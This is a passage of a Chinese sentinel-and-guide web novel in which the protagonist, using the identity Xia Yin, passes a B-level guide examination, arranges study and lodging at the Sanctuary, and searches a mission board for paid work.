他不敢再有丝毫怠慢，以最快的速度操作着系统，声音中带着敬畏：“好……好的，夏因阁下！我们立刻为您安排B级晋级测试！不过，B级测试的考官，不是我们这里的常规工作人员，我们需要向圣所申请当日轮值的考官，在考官到来之前，我们将先为您安排常规的基础精神力数值检测，请……请随我来测试区！” 主管亲自引路，态度恭敬得近乎卑微，腰身弯折下来，几乎到了九十度。 旁边站着的原本应该为江寻服务的工作人员，看着自家主管的态度，面色煞白一片。 江寻没有再看身后那群呆若木鸡的天之骄子一眼，也没有在此时出言教训那个见风使舵的工作人员，只是提起他简陋的背包，平静地迈步跟上。 他走过雷克斯和西斯科身边时，明明还和最开始时一样，气息平静无波，仿若一个普通人，可雷克斯两人却仿佛被什么无形的锋芒刺到，下意识地慌忙后退了半步。 平稳的脚步声“踢踏踢踏”慢慢远去，直到江寻的身影消失在通往测试区的通道口，死寂的大厅才像突然解冻了一般，爆发出一阵压抑不住的混乱抽气声和嘈杂议论声。 “他……他真的去测试B级了？” “他真的敢？怎么可能这么容易……” “他真的是C级向导？老大你也完全没发现吗？” “我们刚才……” 雷克斯脸色铁青，拳头捏得咯咯作响，一种前所未有的屈辱和被愚弄的愤怒感觉灼烧着他，撩的他心火狂冒。可他知道，如果对方真的已经有了冲击B级的实力，这样的屈辱，他只能咬牙咽下去，并且可能永远也不能报复回他身上。 西斯科脸上的笑容早已消失无踪，只剩下深深的忌惮和凝重。看向米娅的目光里，带上了一丝深意。 艾伦等人更是面如土色，连大气都不敢喘。 米娅看着通道口，嘴唇喏喏，想到刚才江寻一眼也没有看向她的样子，眼神复杂到了极点。 扎克看了眼身前或是惊惧，或是恨恼，却无人再敢出言不逊的人群，眼中闪过快意。 目光死死盯向江寻消失的方向，胸膛剧烈起伏，眼中除了震惊，似乎还燃起了一丝微弱的，连他自己都未到察觉到的野望—— 作者有话说：二更来啦[让我康康]努力找感觉！ 第102章 顺着评级大厅侧面的走廊直行， 主管一路引着江寻来到了测试间。 当先打开了测试间的大门，将江寻请了进去。 江寻踏入测试区，环视一周， 有点意外。 他还以为所谓的测试间中， 会布满各种复杂的仪器设备， 没想到这里却是出乎意料的空旷安静。 整个房间中，只有正前方，靠着墙壁中央， 矗立着一个约两米高的半透明圆柱体设施， 旁边连接着一个不大的长方形控制台。整个设施的外表十分简洁，温润的外壳上，流动着微弱的乳白色光晕。 见江寻打量着面前的设施，主管忙上前介绍道：“夏因阁下，您放心，这是由星际科学院出品的最先进的精神力场共振测试仪。我们评级大厅， 虽然不能像愈灵殿或者科学院那样， 做出各方面都非常详尽的检测， 但只是用来为评级提供数据参考，是完全足够的。” “在考官到来之前， 我们刚好可以趁着这个时间，为您进行基础精神力数值的检测， 这是晋级B级向导的必要流程。” 主管的声音紧绷，心下还在担忧刚才在大厅里发生的不虞， 会让面前这位疑似高级向导，心存芥蒂。他的声音里带着一丝不易察觉的颤抖，也不知心下是希望对方通过测试还是失败而归，引着江寻走到仪器前， 打开上层的玻璃罩，对着江寻抬手一引。 “请您站进去，放松精神，跟随设备提示，引导您的精神力发散出来即可。” 江寻点点头，依言抬腿登上台阶，站进面前的圆柱体中，看着玻璃罩在自己面前慢慢合拢，机器慢慢启动起来，围绕着他的一圈金属壁开始微微发亮。 一道平直的提示音响起。 江寻闭上双眼，心念微动。 嗡——！ 江寻长了个心眼，并未去碰深埋在体内的那股还未驯服的力量，只将自己本身的精神力运转了起来。 熟练的动作，令平稳的精神力快速被调动了起来，从身体中漫延出去，笼罩在江寻身周。 圆柱体内部的光晕骤然明亮起来，仿佛被投入石子的湖面，一圈圈强烈的乳白色涟漪以圆柱为中心急速扩散开来，瞬间填满了整个房间！仪器表面镶嵌着的数块光屏疯狂闪烁起来，如瀑数据逐流而下，显示在最中央面板上的数值，如同脱缰野马般瞬间飙升！ 主管在精神力场扩散开来的时候便觉得心上一沉，而后，整个人便像是被什么强大的存在盯上了一般。即使他没有在这股庞大的力量中感受到一丝恶意，可巨大的差异本身，便已足够让他压力倍增。 他的呼吸急促起来，目光死死盯着光屏上不断跳动着的数字，狠狠咽下一口唾沫。 基础精神强度……465SU ！ 精神脉冲峰值……6400Gyra！ 预测场域范围……35~48m！ 神经熵指数……0.34！ …… 主管一项一项看下去，每个数值都让他心脏狂跳，在心中疯狂对比计算着，越是往下看，眼睛瞪得越大！ 天哪……他在心中呻吟着，这数字……这…… “这数据，几乎……几乎都要触及A级的门槛了！” 主管抑制不住地惊叫出声，他忍不住看向仍然一脸寻常，表情与刚才毫无二致的江寻，只觉得口干舌燥，心中不自觉地开始怀疑起储存在对方向导核心中的数据来。 不是怀疑他当时登记的C级向导等级，而是怀疑他的潜力等级！ 一个流落在偏远星系三年，无法得到任何知识与资源，每日里还要为了生存殚精竭虑的向导，居然在三年后，仅凭着自己的能力，便提升到了靠近A级的水平。 这样的提升速度，即便是在那些一直生活在中央星中，被家族全力培养的高潜力向导身上都难见，更何况是他这样的条件！ 这样的水平，是一个最高潜力是B级的向导？恐怕S级都不会有他这样的提升速度！ 他不禁开始怀疑了起来，该不会是当时那个偏远的分部资源有限，使用的测试仪器出了问题，给他测试错了吧？ 一念及此，主管再次看一眼面前已经在仪器的提示下，慢慢收拢起精神力场的男人，腰弯得更低了，姿态近乎虔诚。 若真的是当时测试出了错，那…… 他之前那点因江寻的出身外表而产生的最后一丝疑虑，此刻被彻底碾成了齑粉。他甚至不敢想象，如果这人能在中央星出生，一直在圣所接受最顶级的培养，如今会达到何等恐怖的高度！ 就在这时，测试室的大门一响，被人从外推开，一个穿着红色滚边白色圣所导师制服，头发梳得一丝不苟，面容严肃的中年男人大跨步走了进来。 他领子上别着一枚精致的白色盾徽，中心镶嵌着一颗铜制圆钉——这正是塔认证的B级向导徽章。 来人正是今日轮值的考官，圣所的资深导师，莱昂？哈特。 莱昂导师眉头微蹙，带着一丝被打扰的不耐烦。 刚才他的实验正做到关键的时候，却接到紧急通知，说有一位刚刚进行了向导登记的年轻向导要冲击B级，需要今日轮值的考官前去监考，只好暂停了手上的实验，匆忙赶来了评级大厅。 一路走来，心里恼怒中颇有些不以为然。 一个外来的刚刚登记的向导就要冲击B级？ 圣所里的那些被多年精心培养的B级潜力苗子，哪个不是按部就班学习打磨多年之后，才敢尝试着一步步晋级？ 一个刚登记的，来自偏远星系的野路子向导，能到C级就是烧高香了，还冲击B级？八成是年轻人盲目自信，想要出出风头罢了。可他却迫于职责，不得不来陪他浪费时间，真是想想都觉晦气！ 他一眼扫过内室，目光落在一身风尘，背着简陋背包的江寻身上，眼神里毫不掩饰地流露出一丝轻视。 撇了撇嘴，直接问出了声：“就是你？刚刚登记就要申请B级测试？” 又上下打量江寻一通，扭头看向站在旁边的主管：“身份确定过了吗？确定他已经到C级了？” 主管忙点头答道：“确认过了，这位夏因阁下，三年前就已经达到了C级向导的水准。” 听到面前的人真的已经达到了C级，莱昂眉目间反而愈见恼怒：“年轻人，有进取心是好事，但向导之路容不得半点浮躁。B级更是一个大门槛，需要扎扎实实的学习和训练，再加上多年的实践积累才能尝试冲击，不是靠侥幸就能达到的……” 眼见面前的莱昂导师还要继续教训下去，主管赶忙快走几步，把刚刚打印出来，还带着仪器余温的检测报告，捧到了他的面前，提高声音打断道：“莱昂导师！夏因阁下的基础精神力检测报告已经出来了，您……您请看看！” 声音响亮，其中还带着满满的激动，一下子把莱昂的话打断。 莱昂正在一边教训着，一边发泄着他实验被打断带来的恼怒，骤然被这声呼喊打断，心下有些不悦，但思及自己的职责，还是暂且闭了上嘴，漫不经心地接过了报告，目光随意地扫过去： 基础精神强度：465SU ！ 他的瞳孔猛地一缩，面上的情绪瞬间冻结。 他以为自己眼花了，用力眨了眨眼，视线慢慢下滑，死死钉在那一行行令人触目惊心的数字上： 精神脉冲峰值：6400Gyra 预测场域范围：35~48m 神经熵指数：0.34 …… “这？！” 莱昂的手指紧紧捏在这张薄薄的纸上，将纸页攥得哗哗作响。 眼睛瞬间睁大，不可置信地看向主管：“这是他的测试报告？仪器没错？” “千真万确！”主管知道莱昂的震惊，毕竟他自己也刚刚经历过一遍，“夏因阁下就在我面前测试出来的！” “嘶……”倒吸一口凉气，莱昂只觉得一股寒气从脚底板直冲头顶，头皮阵阵发麻。 他猛地抬头看向江寻，眼神里充满了极度的震惊和难以置信，基础数值逼近A级？！甚至比自己这个最高潜力A级的积年B级向导还要高！他才多大？他甚至从没在圣所里学习过！这简直颠覆了他数十年来的认知！ 他……他难道是个潜力等级S级的天才？不可能啊！哪个地方出了这样的人物，那简直可以作为当地的传说了！妥妥可以算进当地官员的政绩里面的，他怎么可能从没听说过？ “你说他三年以前就达到C级了吗？在哪里觉醒的？最高潜力等级测试了吗？是S级吗？” 莱昂看向主管，急急问道。 “对，是三年以前就评定到了。初次登记地点在M89星系的雷洛塔分部，最高潜力等级是B级！”主管忙回道。 “M89？雷洛塔？”莱昂眼露迷茫，但他的注意力都集中在了最后一个问题上，“B级？！怎么可能是B级！他现在都快A级了啊！” 巨大的荒谬感瞬间攫住了他，莱昂不死心地仍想确认是对方拥有天生的高潜力等级，这才造成了自己的失误判断。思及自己刚刚的态度，一股难以言喻的尴尬涌上心头。 莱昂的面色一阵红一阵白，嘴唇嗫嚅了几下，想说些什么挽回他作为圣所资深导师、积年B级向导的话，却又觉得说什么都显得苍白无力，反而更丢份儿。 他僵在原地，额角甚至渗出了细密的汗珠，拿着报告的手微微颤抖，气氛一时间尴尬得令人窒息—— 作者有话说：一更来也！江江继续打脸[加油] 第103章 江寻有点不自在的摸了摸鼻子， 他的确骗了人，这个等级是夏因的，他自己也不知道自己是个什么潜力等级， 但是从觉醒起就没有停止过的实力增涨， 也让他心里有了些数。 也不知道是这个世界的人表达情绪都如此夸张直白还是怎么的， 今天一天，他着实是看到了不少震惊的面孔。 虽然他面上没表现出来，但其实内心还是感觉有些社死的。 于是， 江寻仿佛没看到莱昂的窘态， 表情认真地开口，打破了沉默：“莱昂导师，可以开始测试了吗？” 他尽量让自己的语气平淡下来，没有嘲讽，也没有得意，仿佛刚才的一切都没发生过。 可这平淡的态度， 反而让莱昂导师更觉难堪， 此时的难堪， 除了对于对方的强大实力之外，还让他觉得自己一开始的轻视， 实在不是一个做导师的人该有的。 他深吸一口气，强行压下心头的尴尬， 努力让自己的声音听起来平稳专业：“……当然，夏因阁下， B级晋级测试，主要考核B级几种标志性精神技能的掌握与释放，请跟我来。” 莱昂带着江寻往更里间的一个房间走去，同时对着主管点了点头：“去安排一名配合哨兵吧， 夏因阁下等下可能需要用到。” B级向导考核中，一般主要考核五种标志性的精神技能，只要考生能够熟练掌握其中三种，便算是通过考核。 因为向导的精神技能大多是要运用在哨兵身上的，所以进行测试时，会专门安排几名相应等级的哨兵来配合测试。 这种情况下，为了防止向导在使用技能的过程中，出现失误，刺激到了配合的哨兵，导致他行为失去控制伤人，在进行测试的时候，都要进入特制的房间之中，并且有高等级考官在侧看顾。 对哨兵来说，能够参与向导的晋级测试，也是非常好的一个工作机会。不仅能获得相应的任务积分、信用点，更能直接接触到高等级向导，运气好的话，一次测试就能解决困扰许久的精神问题，每每有这样的任务登上哨兵核心的任务系统，便马上会被人一抢而空。 所以，在江寻和莱昂进入特制的测试房之后，在房间中央隔档的另一边，很快就进来了三位不同的B级哨兵。 “人已经到了，好了，B级向导测试正式开始，精神融合、精神触手、情绪共振、精神体剥离、初级幻象，这五种技能中，你选哪几个来测试？” 莱昂已经收起了所有的轻视，拿出了他所谓圣所资深导师的专业素养，严格按照流程开始了测试项目。 江寻想了想，这五种基础技能，他都通过夏因的教材自学过，实际运用过的有其中三种，情绪共振的话虽然没有运用过，但是难度在几种技能里算简单的，他也十分有信心。只有精神体剥离，需要非常精细的操作，并且非常看接受技能的哨兵本人的情况。想了想，选择了精神触手、情绪共振、初级幻象三种来进行测试。 看到江寻的选择，莱昂暗地里松了口气，这三种算是技能测试里，最多人选择的一种组合，无他，难度低。 另外两个技能，一个需要进入哨兵的精神图景；一个需要剥离哨兵的精神体，都是综合性非常强，难度很高的技能。若是对方在自学的情况下，连这两个技能都掌握了，那他真的会怀疑人生。 看到江寻的选择，站在对面的三个哨兵却是失望地叹了口气。 这一次来测试的向导，选择的又是攻击性技能，这对他们来说，好处就不大了。 不管隔档双方的人都是什么想法，测试开始，江寻便静下了心来，对着站在对面的三个哨兵依此运用了三个技能。 而看着江寻的表现，莱昂心中的最后一丝侥幸也彻底粉碎。 每一项技能，江寻都完成得举重若轻，游刃有余。释放过程中，他身上逸散出的那种平稳，庞大又精准无比的精神波动，让同为B级的莱昂导师都感到一阵心悸。 对方对这几个技能的运用，根本不是勉强达标，而是熟练至极，让人感觉其已经在这方面浸淫良久。某些时候，莱昂甚至隐隐感觉，他的控制力，有着超越B级范畴的精妙感！ 莱昂沉默地看着结果，心情复杂地抬手，在测试报告上，打上一个鲜红的“通过”。 心中震惊，挫败感，以及始终挥之不去的尴尬交织在一起，五味杂陈。 他张了张嘴，最终只是干涩地说道：“测试……通过。恭喜你，夏因阁下，正式晋级为B级向导。” “我还有事，先告辞了。” 说完，动作飞快地把手上的测试报告塞给了面色激动地等候在一旁的主管，几乎是落荒而逃，甚至没等主管回应，便脚步匆匆地离开了测试区，背影透着一股难以言说的狼狈。 主管看着莱昂导师仓惶离去的背影，又看看平静收敛了精神力，又变得与一个普通人无异的江寻，心中对这位年轻阁下的敬畏更是达到了顶点。 他立刻换上了最热情、最恭敬的笑容，腰几乎弯成了虾米：“恭喜夏因阁下成功通过B级向导测试！” 他动作飞快地从随身携带的金属盒里取出一枚崭新的白色盾徽，与佩戴在莱昂领口上的一样，中间缀着一颗明光灿灿的铜钉，恭恭敬敬地捧在手上献在江寻面前。 “夏因阁下，请您收好！这是您的向导等级徽章！” 江寻伸出手，从主管手里接过这枚精致的小小徽章，又听对方继续道：“稍后，我会在系统里为您更新您的登记身份与等级信息。B级向导的相关权限也将为您开启，之后，您可以在自己的向导核心中查看您的相应信息。” 江寻刚点了点头，主管便迫不及待地接着问道： “请问阁下，您接下来有什么打算？是否考虑留在圣所继续深造？又或者加入塔的其他下属组织？我相信，以您现在的等级与实力，不论是继续深造又或者直接开始工作，圣所都一定会为您提供最顶级的资源与支持！” 江寻摩挲着手中冰凉的B级徽章，体味着这一枚小小徽章中承载着的权力与力量。 他抬眼看向主管，语气坦诚：“我暂时不考虑直接入职工作，之前流落在外，虽然侥幸把等级提升上来了，但理论方面基础太薄弱了，这么一路算是野路子上来的，再要提升下去，必须要先夯实自己的基础。” “我需要系统的学习，但以我现在的等级，再去和那些预备向导一起上基础课程，恐怕不太合适，也浪费时间。我想问问，圣所内，还有其他适合我这种情况的深造途径吗？” 主管一听江寻有意留下，精神大振，如果面前这个高级向导，能在他手中留在圣所，这不仅仅算是他的功劳，更能为他结下这份善缘，以后在高等级向导中，他也算有一个人脉了！ 他连忙殷勤介绍道：“当然有！阁下您的情况特殊，自然不能按常规对待。圣所内对高级的正式向导，尤其是高潜力者，主要有三种途径。” “第一种，高级研修班。主要针对C级B级向导开设，课程比初级课程更深入，涉及高阶精神技能、精神图景构建、哨向协同作战、精神力场应用等等。各种课程的授课导师至少是B级，偶尔还会有A级大师授课。这种研修班需要通过每年一次的统一考试进入，这是高级向导们最常见的选择。” “第二种，导师一对一指导。如果您有某些特别的研究方向或需要针对性极强的辅导，可以向圣所申请，由圣所指派或您自行选择一位A级以上的大导师进行单独指导。这需要极高的天赋和潜力作为基础，也需要通过大导师本人的面试，获得资格。以您的资质，直接申请到导师的可能性极高，但后续通过导师的面试，就需要您自己的努力了！” “第三张，特殊进修项目。圣所偶尔会与军方、研究院或某些特殊部门合作，开设一些短期或长期的实战型、研究型进修项目，旨在培养特定领域的尖端人才。如果您的特长方向符合项目要求，您可以直接申请参与这些进修项目。这些项目虽然竞争激烈，但资源倾斜极大。且进修结束以后，不仅可以选择塔组织内的工作，往往也可以以此为桥梁，进入军部或者研究院等特殊部门，也是一个很好的选择。” “我个人强烈推荐您考虑第一种或第二种途径。高级研修班能系统弥补您理论上的不足，并接触前沿知识；而若能获得某位大导师的青睐，进行一对一指导，那获得的不仅仅是知识，更有更高级别的人脉资源，那对您未来的发展将是最为有利的！” 主管说得条理清晰，显然对圣所的体系非常熟悉。 江寻认真听完，心中已有大概的了解。高级研修班看来就像是念大学，而导师一对一的指导，就是读研究生。参与特殊进修项目，就是加入研究院、特殊课题组这样。 系统学习基础理论和前沿知识是必须的，高级研修班看来对于补充基础知识来说，应该是首选。至于大导师一对一的指导，那也应该在夯实基础之后，不宜操之过急。特殊进修项目，这个就要等项目真正出现，再考虑了。 “明白了，多谢主管。”江寻点点头，将B级徽章别在了自己旧外套的衣襟上，那枚小小的徽章，与他朴素的衣着形成了奇特的对比，但它所代表的意义，却让看见它的人丝毫不敢小觑。 “那么，请问研修班的考试，是在什么时候呢？研修班考试的申请，是找你，还是另有其人？在没通过考试之前，我能留在哨兵岛吗？还是自行解决食宿问题？” 主管连忙道：“研修班今年的考试，将在两个月之后开始。考试资格的申请，需要去圣所的教务中心，找高级事务官艾琳娜女士。她的办公室在圣所东区行政楼三层。至于更具体的导师选择或特殊申请，您也可以向她咨询。我可以为您写一封简短的引荐书！” “另外，没通过考试之前，您可以以考试登记表为据，向圣所申请居住在哨兵岛外围的临时公寓中，但期间所需的一应花费就需要您自理了！” 他说完，立刻从旁边拿起电子板，飞快地敲打起来，态度殷勤备至。 很快，主管将一份电子引荐书通过终端，发送到了江寻的向导核心上，并详细告知了他艾琳娜办公室的位置。 “再次感谢。”江寻收好终端，背起他那个与B级向导身份格格不入的简陋背包。 “对了，”主管想起了什么，再次说道：“建议阁下在愈灵殿或者圣所中，再重新检测一下您的最高潜力等级，根据您的表现，您上一次的检测结果很可能有误！” “好的，我知道了，谢谢提醒！”江寻点了点头，答应下来。 “阁下慢走！祝您在今后在圣所中的学习生活一帆风顺！有任何事物，您也可以再次来向我咨询！” 主管一路恭敬地将江寻送到测试区门口，直到看着他的身影消失在通道尽头，才长长舒了口气，抹了抹额头的冷汗。 随即脸上又涌起一阵兴奋的红光。他今天，可能搭上了一个了不得的大人物呢！ 这份人脉，可能在以后会为他带来百倍千倍的回报！即使是他猜错了，今日的这份谈资，也足够他在同事间吹嘘好几个月了！ 主管再一次为自己的明智沾沾自喜，拂了拂身上并不存在的灰尘，哼着小曲志得意满地踱回了自己的办公室—— 作者有话说：二更！晋级完成！一旦接受了这种剧情，写得还挺爽的[害羞] 第104章 “踢踏踢踏”的脚步声， 如它去时那般，又慢慢变得清晰。 一道渐渐变大的阴影，从走廊深处一点点走近。 一只踏着寻常皮靴的脚， 一下子冲破了阴影， 迈入了大厅里众人凝注的视野之中。紧接着， 一个微垂着双目的双黑人影，从走廊转角处骤然显现。 江寻踏着沉稳的步伐信步而出，一踏出走廊， 就发觉了大厅中众多神色各异的视线。 看了一眼那群仍然聚集在原地的孩子， 没有太在意，向着神色格外激动的扎克和米娅点了点头，便抬脚向外走去。 衣襟上，崭新的白底盾徽在大厅垂下的冷光下，泛着内敛而温润的光泽，只有缀在中心处的那颗铜钉， 时不时反射出一些锋芒。 所过之处， 众人的目光在触及到那枚徽章时， 无不流露出难以掩饰的惊愕与羡慕之情，纷纷如摩西分海一般向后退去。 雷克斯和西斯科等人眼眸大睁， 再也无法自欺欺人，纷纷或恼或惧地低下了头颅。 米娅面怀希冀地往前走了半步， 却又在发现江寻丝毫没有往她的方向再看一眼时，诺诺停下了脚步。 扎克面现快意地看着眼前这帮人的狼狈表现， 看向江寻的目光中，充溢着热切。 可不管他们心里在想些什么，江寻都丝毫不在意，在他心中， 他与他们只是偶然交叉的两条平行线，仅有的那点相遇的缘分已经过去，现在，他们应该各自奔向自己的未来了。 看着终端上显示出的地图，江寻穿过悬浮通道与回廊，来到了东区行政楼的教务中心。 这里一路行来倒是非常快速安静，许是这边塔内的正式工作人员比较多，人们也见惯了高级向导，虽然仍有人在对上这样一张年轻的面庞时面现惊异，但也没有遇到像在评级大厅里一样夸张的反应了。 顺利找到了办公室，江寻敲门而入。 高级事务官艾琳娜女士的办公室透着高效与冰冷。她本人也是十分符合办公室风格的一位严肃而认真的中年女士。 她目光锐利地扫过终端上江寻的信息，抬眼看向江寻，公式化的表情下掠过一丝极淡的审视。 “夏因，新晋B级向导，申请高级研修班考试。” 艾琳娜的声音平稳无波，指尖在光屏上快速操作，“考试于两个月后举行，报名费500信用点。请于通知日期上午九点前准时进入考场。” 正说着，江寻手腕终端上“滴”一声，一份电子登记表已经被发送了过来。 “另外，通过考试后，研修班学费每年3万信用点，教材、学杂等费用另计，请在考试结束之后，提前准备好学费，按时缴纳入学。” 江寻正低头看向终端上显示出来的登记表，闻言，抬头看向艾琳娜。 艾琳娜眼睛快速在江寻身上逡巡一圈，并没有表现出什么异样，补充道：“根据圣所规定，未成年向导初觉醒被选送总部者，享有八年义务培养期，在此期间塔总部会承担所有学习过程中产生的费用。但像你这样，错过了选送机会，在成年后才以高阶身份登记，或八年义务期满后，仍想继续深造者——” 她停顿了一下，目光落在江寻年轻的脸上，这显然属于前者中的特例，“——所有费用需要自理。这是塔鼓励高阶向导积极服务社会、创造价值的方式，任何人不得例外。”话语平直严肃，毫无转圜余地。 江寻点了点头，义务教育与高等教育，他可以理解。 “明白，请问学费有没有分期缴纳政策？另外，考试前，我能否申请临时公寓暂住？” 艾琳娜的目光在光屏上显示出来的“B级”上停留了一瞬。 这个年纪与能力水平确实惊人。但塔更看重现实的产出与贡献。在他能够证明自己的价值前，规则就是规则。 不过……她指尖轻点，一个窗口弹出，一边快速地输入信息，一边开口道：“塔鼓励足够优秀的年轻学员继续进修，报名费用给你减免掉，如果你能顺利通过考试，第一年的学费为你申请无息贷款，可以在三年之内还清。” 这已是她在权限内对这份罕见潜力所能表示的，微不足道的“破例”了。 江寻眼睛一亮，丝毫不为面前的女士冰冷的语气在意，诚恳地行礼道：“多谢事务官女士！” 艾琳娜暗自点了点头，面前的年轻人，实力够强，心性也不错，好好进修一下，未必不能有所成就。若是还能与哪个实力雄厚的大家族搭上关系，有一天站上高位也未可知。 对于这样的潜力股，艾琳娜也不介意多说几句。 “你拿着考试登记表去哨兵岛外围公共住宿管理处申请暂住。那里的工作人员会为你说明具体的住宿情况。” 江寻再次致谢，手下快速填写了考试登记表后，便礼貌告辞而出。 哨兵岛整体面积非常大，依托于建立在中央的塔总部，整个外围区域，发达程度丝毫不逊色与中央星上的其他特区。 外围的公共住宿区面积也很大，整体建筑形态像个巨大的蜂巢。 管理处柜台后的管理员是个神情惫懒的中年人。他随意地接过江寻的考试登记表，可当目光触及到那枚崭新的B级徽章时，惫懒瞬间被惊愕取代，脊背一挺，瞬间站了起来。 “您……您好！尊敬的阁下，请问，有什么可以为您效劳的？” 他这里只是哨兵岛上环境最普通的临时住宿区，经常接待的，不是在塔中学习八年仍不得志的年轻人，便是从外域到中央星来进修求前程，囊中羞涩的低级向导，几年都不一定能见一个高级向导，更不要说是如此年轻的高级向导！ “您好，我想申请一下临时公寓。”江寻温和笑笑，很好的安抚了中年人的情绪。 “临时公寓？！”管理员有些错愕，能升到高级的向导，身后不知有多少高级哨兵追捧着，他还没见过哪个跑来他这里住临时公寓的。 “哦……有，有的！”面前的阁下是怎么想的，不是他能置铎的，中年人手忙脚乱地从抽屉里抽出一张居住申请表，一边和笔一起递给江寻，一边介绍道： “我们这里的临时公寓都是塔补贴的半公益型公寓，只有标准单间。形制都是统一的，月租1500信用点，最短一月起租，押一付一，水电押金500。您想租多久？” 江寻沉默片刻：“我需要租两个月，但是……抱歉，目前手头……” 虽然不知道面前的阁下是怎么沦落到，连临时公寓一个月的租金都付不起的，可管理员可不会不长眼色地问出口。 “人之常情！一时不凑手也是有的！您看，要不这样吧，”他压低了声音：“您就先住着，我给您宽限三天！三天内补上，房间还是您的。但是，这事您可不能往外说啊！” 管理员挤了挤眼，便速度飞快地调出光屏，把建筑图展示给江寻看：“您看，这里、这里、这一片，现在都空着，您可以随意挑选。或者，我带您去实地看一下房子？” 只是临时居住的地方，江寻没有什么要求：“不用了，既然形制都一样，那就……”江寻看了看地图，手指点向一间临街，出入方便的房间，“就这一间吧！” “好的！C区7栋602！这房间不错！视野很好的！”管理员一边一迭声地答应下来，一边快速为江寻开通了门禁，递过门卡，又忍不住多嘴了一句： “您要是刚来这边的话，要赚钱，是要在向导核心的任务区里接任务的吧？” “B级向导，赚钱的路子总归比下面宽些，就是得擦亮眼，别被坑了。虽然咱们这里是中央星，但是，还是有些不太好见光的地方，您要是接任务的话，注意一下，这里头，水深得很。” 管理员意有所指的一番话说完，又亲自领着江寻找到了公寓，这才恭敬地告辞。 江寻关上门，隔绝了外界的喧嚣，长叹一口气，放下背包，在干净简洁的小客厅里坐了下来。 学费3万点，公寓两个月的租金加押金，再加上一些杂七杂八的费用，应该要5、6千点。要赶快赚钱了。 刚才那管理员说过的话，浮上了心头。 江寻抬手，打开终端，通过向导核心连接上星网。一系列的身份认证之后，哨兵向导专用的系统界面出现在了江寻眼前—— 作者有话说：一更[让我康康] 第105章 塔一向对于哨兵向导的相关知识资料管控严格， 外界难见，但一旦通过正式登记领取了哨兵向导核心，那这部分内容便会对这些登录在案的哨兵向导开放。 可以通过核心用终端登陆加密网络浏览；若是将核心芯片置入外骨骼、机甲等战斗装备后， 还可以与五大中央智脑连通， 获得实时战术支持。 此时江寻浏览的， 就是专用网络下的任务模块界面。 任务系统是塔的哨兵向导体系中非常重要的一个组成部分。 整个任务系统采用实名制，必须以核心登陆才能正常发布、接取任务。 任务发布者有官方有个人，每次有新任务发布时， 会自动提交到审核部门， 对该任务进行评级，写出参与人数、等级的推荐与相应的要求。 每个等级的任务报酬有最低下限但无上限，若报酬非实物或无法估价，则由双方自行商议拟定。任务完成会得到相应的任务积分与报酬。系统也会监督报酬的按时结算，对违反契约的双方做出相应的处罚。 但是理论上，只要不公然违反联盟法律， 审核部门只对任务本身的难度做出评估， 并不干涉其他问题。所以， 这里不光有一些正常的任务，也有一些踩在灰色边界线上， 亦或发布人本身不太见得了光的任务。 将地域限制在哨兵岛上，界面里一下子便空了一大半， 江寻把自己的需求和自身的等级条件输入进去，再次刷新， 又空了许多。 江寻叹口气，在哨兵岛上，向导的数量远非外部星域能比，又多得是需要实践机会的学员， 中低等级的任务或者报酬非常好的任务，一经发布就会被马上哄抢一空，剩下来的，或多或少都有一些棘手之处。 虽然他的评级是B级向导，更有优势一些，但一下子要找到合适的任务仍然不太容易。 江寻将筛选后的条目，以报酬数量从高到低排列下去，目光快速扫过列表上的任务。 【研究院项目】参与“精神图谱深度解析”项目，作为主测向导（需微操精度20nm以上）。报酬：项目完成奖金10万信用点+成果分成。要求：B级及以上向导，精神图谱方向学习时间200课时以上，两位A级研究员推荐，签订保密协议。 【塔内委托】为A级哨兵“赤焰”进行精神图景深度梳理（存在精神海创伤风险）。报酬：单次8000信用点。要求：资深B级及以上向导，愈灵殿在职医师资格。 【军方特需】为第三舰队“利刃”突击小队提供战时精神屏障支援（需持续作战能力）。报酬：日薪5000信用点。要求：B级及以上向导，具备战场经验，持有军方或塔组织外勤行动队正式职位身份。 …… 排在最上面的任务，报酬虽诱人，但要求也很高，并且基本都需要各种硬性门槛条件。江寻空有高级精神力，却都无法接取。 他耐着性子往下翻，寻找那些对身份要求不高或者没有硬性要求的任务： 【私人委托】清理废弃的第七实验室精神污染残留（存在未知风险）。报酬：5000信用点（一次性付清）。要求：具备强大精神净化能力，对精神污染有抗性。注意，委托方要求签订保密协议，接取后果自负。 【私人委托】紧急精神疏导援助。内容：稳定一名旧伤复发导致精神图景堕化加剧的高级哨兵。要求：快速应急疏导能力，处理创伤经验。报酬：预付500，成功稳定后一次性付清2000。注意：地点环境复杂，委托方要求身份保密，接取后果自负。 【私人委托】为家族哨兵幼子（觉醒初期，潜力C级）寻找长期精神疏导导师（需耐心温和）。报酬：月薪2000信用点（可议）。要求：C级及以上向导，有教导经验者优先。 …… 一条条翻下来，江寻的眉头越皱越紧。 没有身份门槛或硬性条件的任务，要么时间长，报酬又低得可怜；要么内容模糊不清，风险巨大且收益不稳定；要么就像那个清理废弃实验室的任务一样，浑身散发着陷阱和阴谋的味道，难以分辨真假。 三天。 他需要在这三天时间内，至少凑齐3500信用点保住这个暂时的栖身之所，这还仅仅是开始，后面那每年3万信用点的学费也是一个沉重的负担。 向导核心网络上的任务列表在光屏上幽幽闪烁，映在江寻沉静的眼底。他竖起指尖，无意识地在冰凉的终端外壳上轻轻敲击着。 看来，在这代表了星际最强力量的知识殿堂中，也并非光有等级与潜力便能一路畅通。身份、人脉、渠道、信用点……这种种无形的条件构建而成的壁垒，比他想象中的更难逾越。 今后，他不止需要在这里学习，后续可能还要想办法打听关于小树的情报，调查一直在抓捕自己、迫害小树的另一股势力，他不能一直这么势单力孤地独自作战，他得找到一个能够长期获利，同时也能获得有力助益的渠道。 江寻的目光若有所思地停留在一个任务上，在这条任务上，他似乎嗅到了一丝熟悉的气息。 * 夜幕为街道披上一层诡秘的面纱，街边闪烁着的霓虹光怪陆离，空气中混杂着酒精、刺鼻香氛、汗臭以及一些不知名的臭味混合在一起的古怪味道。一种原始的、躁动着的、饱含痛苦与放纵的气息在街道上空肆意弥漫。 江寻跨过脚下横躺着的一具不知死活的躯体，路过充斥着粉红色暧昧灯光与娇娆人声的按摩院；避开一身兜帽，冲着他展示出一排不知名药剂的掮客，掠过光线昏暗，弥漫着疯狂与暴戾情绪的酒馆。 暴躁而堕落的精神力波动，在这里比比皆是；无数兽化、半兽化的哨兵或是麻木，或是亢奋的，在这暗幕之中不知未来地徘徊。 不管繁华还是穷困，似乎每个城市都会有这个一个地方，接收了一整个城市所有的黑暗与阴影。 